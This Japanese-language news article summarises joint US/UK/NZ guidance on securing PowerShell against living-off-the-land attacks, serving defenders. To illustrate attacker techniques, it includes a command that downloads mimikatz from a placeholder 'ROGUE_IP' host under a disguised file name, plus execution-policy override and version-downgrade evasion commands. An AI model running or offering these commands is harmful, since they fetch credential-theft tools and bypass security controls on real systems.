PowerShellは最も一般的なツールの1つで、ハッカーが「環境寄生型」攻撃で使用している。これは、悪意ある攻撃者が組織自身のツールを組織に対して利用する攻撃だ。
今週、米国のサイバーセキュリティ機関は英国とニュージーランドの同業機関とともに、組織がPowerShellを安全に利用するためのガイダンスを公開した。
PowerShellは、.NETフレームワーク上に構築されたコマンドラインツールおよび関連スクリプト言語だ。もともとはWindows向けに開発され、Microsoftはオープンソース化したのは2016年だった。大半の管理者はシステムへのパッチ適用やスクリプトの実行に使っているが、PowerShellはハッカーの武器庫にある典型的なツールでもあるため、防御側とペネトレーションテスターは使いこなす必要がある。
米国、ニュージーランド、英国のサイバーセキュリティ当局間のPowerShellに関する共同Cybersecurity Information Sheet（CIS）を発表した。これは、防御側がPowerShellの悪用を検知しつつ、正当な利用を可能にすることを目的としている。
CISA、NSA、英国およびニュージーランドの同業機関は、ユーザーと管理者に次のガイダンスを確認するよう促している。Keeping PowerShell: Measures to Use and Embraceという、攻撃を軽減する具体的な対策を列挙した8ページのPDF文書だ。
「Active Directoryセキュリティツールのトップ」を参照。
攻撃者がPowerShellを利用する方法
手口はさまざまだが、ハッカーは通常、まずアクセス権を得る（例えばフィッシング攻撃の後など）。その後、PowerShellを使ってActive Directory（AD）やその他の重要システムを標的にする。
管理者がADの属性、メソッド、機能を制限していなければ、ハッカーは認証情報を盗んだり、権限を昇格させたりして、データを外部へ持ち出したりマルウェアをインストールしたりできる。一方、PowerShellを制限しすぎたり無効化したりすると、ガイダンス文書によれば、管理者は「システムの保守、フォレンジック、オートメーション、セキュリティを支援」できなくなる。
ペネトレーションテスターはPowerShellを使ってさまざまな攻撃を試みることができる。コンソールは、古いスクリプトや.batファイルを含め、cmd.exeで動作するほぼすべてのものを受け付けるためだ。よくある手法の1つは、外部IPからリソースをダウンロードすることだ。
Invoke-WebRequest “http://ROGUE_IP:80/mimikatz.exe” -OutFile “legitimateexec.exe”。
注：上記のコマンドでは、「mimikatz.exe」はシステム上に書き込まれたからといって正当なものになるわけではなく、単に基本的な検知を回避するため名前を変更しているだけだ（残念ながら、それだけで十分なことも多い）。
非常に基本的な例だが、実際の環境では、ハッカーはbase64や、より高度な難読化を使って悪意あるコードを隠すことができる。
もちろん、可能な攻撃はこれだけではない。スケジュールされたタスクの列挙、メンバーや管理者の一覧表示、環境変数の取得、履歴の読み取り、ポリシーの回避、監視の無効化、メモリへの悪意あるコードの注入など、さらに複雑な処理も実行できる。
こちらも読む：ハッカーが検知を回避する方法。
ユーザーと管理者がPowerShellを安全にする方法
PowerShellを使った攻撃の中には、検知がかなり難しいものもある。防御側はEDRツールやその他のセキュリティ製品を使って、こうした攻撃を軽減できる。
こうしたPowerShell攻撃がハッカーにとって魅力的なのは、制限の緩い環境で権限をすばやく昇格できるからだ。言い換えれば、これはネットワーク上のローカルシステムとリモートシステムの両方へのアクセスを可能にする正当なツールなのである。
ユーザーと管理者は、署名されていないスクリプトを拒否し、スクリプトの実行を制限することで、システムを大幅に強化できる。
この文書によると、攻撃者による悪用の大半を減らすため、非推奨となったPowerShellのバージョンも無効化してアンインストールすべきだ。さらに、最近のバージョンには、PowerShellの認証情報保護機能など、予防、検知、認証機能のためのセキュリティ機能が標準で強化されている。
PowerShellのアクティビティをログに記録することも推奨される。例えば、Deep Script Block Logging（DSBL）モジュールを使えば、ハッカーが攻撃中に使用する疑わしいInvokeコマンドを記録できる。
タスクをリモートで実行する必要がある場合は、設計上安全なSSHを使うとよい。一部のプロトコルとは異なり、SSHはセキュアになるよう設計されている。
以下のスクリーンショットには、セキュリティチームと防御側が利用できる、最近のPowerShellバージョンに搭載された機能が示されている。
一般的な回避手法に注意する
PowerShellの実行ポリシーは、次のように入力すると確認できる。
Get-ExecutionPolicy。
これは実行できるものとできないものを制限するためのもので、特にインターネットからダウンロードしたスクリプトをブロックする目的で推奨される。しかし、制限を回避したり、権限を昇格させるために実行ポリシーを変更したり、必要に応じて無効化したりする既知の手法も存在する。
ポリシーを変更するには、次のようなコマンドを使える。
Set-ExecutionPolicy $Policy -Force。
問題は、上記のコマンドを正当なユーザーが管理タスクの完了に使えるため、支障なく無効化することはできない点だ。明らかな理由から、すべてのユーザーに実行を許可すべきではない。振る舞い分析によって、ユーザーアカウントにおけるこのような異常な活動を発見できる可能性がある。
また、PowerShellのセキュリティ機能を盲目的に使ってはいけない。例えば、AMSI（Anti-Malware Scan Interface）は、マルウェア対策製品との統合を可能にするPowerShellのセキュリティ機能だが、悪用される可能性のあるDLL（amsi.dll）によって実装されている。
さらに、攻撃者はセキュリティ機能の仕組みと回避方法を学習している。PowerShellのダウングレード攻撃は、セキュリティ機能を削除するために使われる一般的な回避手法だ。
PowerShell -Version 2。
ハッカーは、Unicornのような自動化ツールを使って、こうした攻撃を実行することさえできる。
こちらも読む：データ災害まであと数クリック：エンタープライズセキュリティの現状。
完全な解決策はない
いつものことだが、魔法のような解決策はない。PowerShellを最新バージョンにし、実行ポリシーを制限しても、ネイティブ機能を悪用し、検知を逃れる最も高度な攻撃を阻止することはできない。
しかし、それでもセキュリティ向上に向けた重要な一歩ではある。多くの企業ネットワークでは事後攻撃活動が軽視されており、ハッカーにとってADの列挙やその他の悪用が比較的容易になっているからだ。多層防御は有効であり、設定を強化しない正当な理由はない。